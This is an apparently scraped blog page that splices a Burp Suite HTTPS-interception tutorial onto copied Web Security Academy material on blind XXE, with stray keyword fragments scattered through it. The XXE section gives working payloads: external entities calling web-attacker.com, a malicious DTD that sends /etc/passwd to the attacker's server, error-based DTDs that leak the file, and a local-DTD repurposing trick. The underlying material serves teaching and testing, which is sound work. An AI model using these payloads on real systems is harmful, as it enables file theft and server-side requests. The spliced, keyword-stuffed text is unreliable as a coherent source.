Xxe Attack Using Burp Suite

2/14/2022by admin

Find XXE vulnerabilities using Burp Suite Get started with the Web Security Academy where you can practise exploiting vulnerabilities on realistic targets.

  1. Jason Haddix gives a beginning tutorial to Burp Suite, part of a larger tutorial series that will teach you tips and tricks for using Burp Suite to hack on i.
  2. The next step is sending the request to Burp Suite Intruder (click right on the request and choose “Send to Intruder”). Then use the “Add” button in Burp Suite Intruder to choose the parameter that will be fuzzed (it is called payload position in Burp Suite Intruder). User ID is sent in parameter id.
  3. Launch Burp, click on “New project on disk,” click on the “Choose file” button and navigate the directory created above. While there, create a project file called Juice-Shop-Non-Admin.burp; Click “Next” and “Use Burp defaults,” then select “Start Burp.” BurpSuite launches and you are greeted with the default panel.

Introduction

Proxies like the one included in Burp Suite are designed for traffic interception. This allows the owner of the proxy to view, modify and drop packets passing through the proxy. While this can certainly be used for criminal purposes, it can also be used by cyberdefenders to protect against malware and dangerous user behavior.

In this article, we’ll discuss how to use Burp Suite to intercept Web traffic, both encrypted and unencrypted. We’ll start with unencrypted traffic (HTTP) and then cover the modifications necessary for HTTPS.

Intercepting HTTP Traffic

The first step to intercepting web traffic with Burp Suite is installing it on your system. The Burp Suite Community Edition is available from PortSwigger. After installing and opening Burp Suite, you’ll see a screen similar to the one below. [CLICK IMAGES TO ENLARGE]

When using Burp Suite as a proxy, it’s a good idea to ensure that the proxy is active. As shown in the screen above, this information is found under Proxy in the first row of tabs and Options in the second row. Note that the Burp proxy runs on 127.0.0.1:8080 by default.

If the proxy is running, the next step is setting up a Web browser to use the proxy. In this example, we’re using Chrome, so these settings can be found by opening Options and searching for Proxy as shown below.

Clicking on the “Open proxy settings” button in the above screen opens up the computer’s Internet Settings. As shown in the screen below, we’re using Windows for this example.

In the above screen, click on the LAN settings button, which opens the screen below. At the bottom of this screen is the computer’s proxy settings.

As shown above, we’ve set the proxy settings for the computer to Burp Proxy’s default address and port (127.0.0.1 and 8080). If you’ve changed this information for your Burp Suite instance, use your modified values here.

When complete, click OK and attempt to browse to a website. For this example, we’ve used an HTTPS site. As a result, we see the warning below.

Clicking Advanced and Proceed to site allows us to actually visit the website. At this point, take a look at Burp Proxy. Under the Proxy → Intercept tab, you can see the requests as they move through. As shown below, we see the GET request for the requested website.

Forwarding the requests in Burp eventually allows the webpage to load (as shown below).

However, as shown in the address bar, the site is not considered secure. This is because Burp breaks the certificate chain between the client and the server and uses its own certificate instead. Since Burp’s certificate is self-signed and untrusted by the browser, Chrome makes it obvious to the user that this isn’t a secure connection.

But what if we try to visit a site using HTTPS Strict Transport Security (HSTS), where the site requires that a secure connection is made between the server and the client? The image below shows an attempt to browse to Google while Burp is performing interception.

As shown in the screen above, Chrome gives you no option to continue on to the untrusted site. Since Burp is providing its own (untrusted) certificate to the client, the connection is completely untrusted and not allowed to continue. In order to visit Google, we need to get Chrome to trust Burp Proxy’s certificate.

Making the jump to HTTPS

Burp Proxy generates its own self-signed certificate for each instance. In order to get a copy of your Burp CA certificate, browse to 127.0.0.1:8080 (or wherever your Burp Proxy instance is running). Once there, you’ll see the screen below.

In the screen above, click on CA certificate in the top right corner. This will allow you to save a copy of your CA certificate to your computer.

Once you have the certificate, you need to mark it as trusted in your browser. In Chrome, this option is under Settings → Advanced Settings → Privacy and Security. At the bottom of the screen below is an option to manage certificates.

Clicking on “Manage certificates” will open up a window for managing certificates locally on your computer. On Windows, you will see the screen below.

To force Chrome to trust Burp’s certificate, move to the Trusted Root Certification Authorities tab and click Import. Click through the prompts and point it to your newly downloaded certificate. Once you have received a success message, restart both Burp and your browser.

Browsing to our original site on infosec.com, we no longer get an error message about an untrusted certificate. Examining the certificate (shown below), we see that Chrome is perfectly happy to accept a certificate signed by PortSwigger CA, which is the company that makes Burp Suite.

But what about interception for sites enforcing HTTPS via HSTS? Browsing to Google again throws no errors and, as shown below, Chrome accepts the PortSwigger CA certificate as valid.

At this point, we’re capable of intercepting any Web traffic using Burp Proxy.

Conclusion: Applications and limitations of HTTPS interception

As mentioned above, interception of HTTPS traffic is valuable for both benign and malicious purposes. A cyberdefender who can unwrap the encryption provided by TLS may be able to detect and remediate malware infections or threat actor intrusions on the corporate network. However, an attacker with the same capabilities poses a significant threat to the privacy and security of users on the network.

The fact that the user needs to trust the Burp proxy certificate can be an annoyance to the defender but is a significant bonus when dealing with malicious parties. An organization can force trust of the Burp CA (and many have similar policies for organizational root CA certificates for deep packet inspection), but this makes it necessary to appropriately protect the Burp proxy instance. Anyone with access to the private key corresponding to Burp’s self-signed certificate has the ability to read any data sent by browsers using the proxy.

Sources

  1. Download Burp Suite Community Edition, PortSwigger
  2. Intercepting HTTP and HSTS enabled HTTPS / SSL traffic on Chrome/Firefox using Burp Suite, Zeroday-Security

In this section, we'll explain what blind XXE injection is and describe various techniques for finding and exploiting blind XXE vulnerabilities.

What is blind XXE?

Blind XXE vulnerabilities arise where the application is vulnerable to XXE injection but does not return the values of any defined external entities within its responses. This means that direct retrieval of server-side files is not possible, and so blind XXE is generally harder to exploit than regular XXE vulnerabilities.

There are two broad ways in which you can find and exploit blind XXE vulnerabilities:

  • You can trigger out-of-band network interactions, sometimes exfiltrating sensitive data within the interaction data.
  • You can trigger XML parsing errors in such a way that the error messages contain sensitive data.

Detecting blind XXE using out-of-band (OAST) techniques

You can often detect blind XXE using the same technique as for XXE SSRF attacks but triggering the out-of-band network interaction to a system that you control. For example, you would define an external entity as follows:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM 'http://f2g9j7hhkax.web-attacker.com'> ]>

You would then make use of the defined entity in a data value within the XML.

This XXE attack causes the server to make a back-end HTTP request to the specified URL. The attacker can monitor for the resulting DNS lookup and HTTP request, and thereby detect that the XXE attack was successful.

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things. First, the declaration of an XML parameter entity includes the percent character before the entity name:

<!ENTITY % myparameterentity 'my parameter entity value' >

And second, parameter entities are referenced using the percent character instead of the usual ampersand:

%myparameterentity;

This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM 'http://f2g9j7hhkax.web-attacker.com'> %xxe; ]>

This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.

LABBlind XXE with out-of-band interaction via XML parameter entities

Exploiting blind XXE to exfiltrate data out-of-band

Detecting a blind XXE vulnerability via out-of-band techniques is all very well, but it doesn't actually demonstrate how the vulnerability could be exploited. What an attacker really wants to achieve is to exfiltrate sensitive data. This can be achieved via a blind XXE vulnerability, but it involves the attacker hosting a malicious DTD on a system that they control, and then invoking the external DTD from within the in-band XXE payload.

An example of a malicious DTD to exfiltrate the contents of the /etc/passwd file is as follows:

<!ENTITY % file SYSTEM 'file:///etc/passwd'>
<!ENTITY % eval '<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>'>
%eval;
%exfiltrate;

Xxe Vulnerabilities

This DTD carries out the following steps:

  • Defines an XML parameter entity called file, containing the contents of the /etc/passwd file.
  • Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called exfiltrate. The exfiltrate entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the file entity within the URL query string.
  • Uses the eval entity, which causes the dynamic declaration of the exfiltrate entity to be performed.
  • Uses the exfiltrate entity, so that its value is evaluated by requesting the specified URL.
Xxe attack using burp suite full

The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:

http://web-attacker.com/malicious.dtd

Finally, the attacker must submit the following XXE payload to the vulnerable application:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
'http://web-attacker.com/malicious.dtd'> %xxe;]>

This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the /etc/passwd file is transmitted to the attacker's server.

Note

Suite

This technique might not work with some file contents, including the newline characters contained in the /etc/passwd file. This is because some XML parsers fetch the URL in the external entity definition using an API that validates the characters that are allowed to appear within the URL. In this situation, it might be possible to use the FTP protocol instead of HTTP. Sometimes, it will not be possible to exfiltrate data containing newline characters, and so a file such as /etc/hostname can be targeted instead.

LABExploiting blind XXE to exfiltrate data using a malicious external DTD

Exploiting blind XXE to retrieve data via error messages

An alternative approach to exploiting blind XXE is to trigger an XML parsing error where the error message contains the sensitive data that you wish to retrieve. This will be effective if the application returns the resulting error message within its response.

You can trigger an XML parsing error message containing the contents of the /etc/passwd file using a malicious external DTD as follows:

<!ENTITY % file SYSTEM 'file:///etc/passwd'>
<!ENTITY % eval '<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>'>
%eval;
%error;

This DTD carries out the following steps:

  • Defines an XML parameter entity called file, containing the contents of the /etc/passwd file.
  • Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called error. The error entity will be evaluated by loading a nonexistent file whose name contains the value of the file entity.
  • Uses the eval entity, which causes the dynamic declaration of the error entity to be performed.
  • Uses the error entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the /etc/passwd file.

Invoking the malicious external DTD will result in an error message like the following:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Xxe Attack Using Burp Suite 2

LABExploiting blind XXE to retrieve data via error messages

Exploiting blind XXE by repurposing a local DTD

The preceding technique works fine with an external DTD, but it won't normally work with an internal DTD that is fully specified within the DOCTYPE element. This is because the technique involves using an XML parameter entity within the definition of another parameter entity. Per the XML specification, this is permitted in external DTDs but not in internal DTDs. (Some parsers might tolerate it, but many do not.)

So what about blind XXE vulnerabilities when out-of-band interactions are blocked? You can't exfiltrate data via an out-of-band connection, and you can't load an external DTD from a remote server.

In this situation, it might still be possible to trigger error messages containing sensitive data, due to a loophole in the XML language specification. If a document's DTD uses a hybrid of internal and external DTD declarations, then the internal DTD can redefine entities that are declared in the external DTD. When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is relaxed.

This means that an attacker can employ the error-based XXE technique from within an internal DTD, provided the XML parameter entity that they use is redefining an entity that is declared within an external DTD. Of course, if out-of-band connections are blocked, then the external DTD cannot be loaded from a remote location. Instead, it needs to be an external DTD file that is local to the application server. Essentially, the attack involves invoking a DTD file that happens to exist on the local filesystem and repurposing it to redefine an existing entity in a way that triggers a parsing error containing sensitive data. This technique was pioneered by Arseniy Sharoglazov, and ranked #7 in our top 10 web hacking techniques of 2018.

For example, suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd, and this DTD file defines an entity called custom_entity. An attacker can trigger an XML parsing error message containing the contents of the /etc/passwd file by submitting a hybrid DTD like the following:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM 'file:///usr/local/app/schema.dtd'>
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM 'file:///etc/passwd'>
<!ENTITY &#x25; eval '<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>'>
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

This DTD carries out the following steps:

  • Defines an XML parameter entity called local_dtd, containing the contents of the external DTD file that exists on the server filesystem.
  • Redefines the XML parameter entity called custom_entity, which is already defined in the external DTD file. The entity is redefined as containing the error-based XXE exploit that was already described, for triggering an error message containing the contents of the /etc/passwd file.
  • Uses the local_dtd entity, so that the external DTD is interpreted, including the redefined value of the custom_entity entity. This results in the desired error message.

Locating an existing DTD file to repurpose

Since this XXE attack involves repurposing an existing DTD on the server filesystem, a key requirement is to locate a suitable file. This is actually quite straightforward. Because the application returns any error messages thrown by the XML parser, you can easily enumerate local DTD files just by attempting to load them from within the internal DTD.

For example, Linux systems using the GNOME desktop environment often have a DTD file at /usr/share/yelp/dtd/docbookx.dtd. You can test whether this file is present by submitting the following XXE payload, which will cause an error if the file is missing:

Owasp Xxe

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM 'file:///usr/share/yelp/dtd/docbookx.dtd'>
%local_dtd;
]>

Xxe Injection

After you have tested a list of common DTD files to locate a file that is present, you then need to obtain a copy of the file and review it to find an entity that you can redefine. Since many common systems that include DTD files are open source, you can normally quickly obtain a copy of files through internet search.

Xxe Attack Using Burp Suite

LABExploiting XXE to retrieve data by repurposing a local DTD
Comments are closed.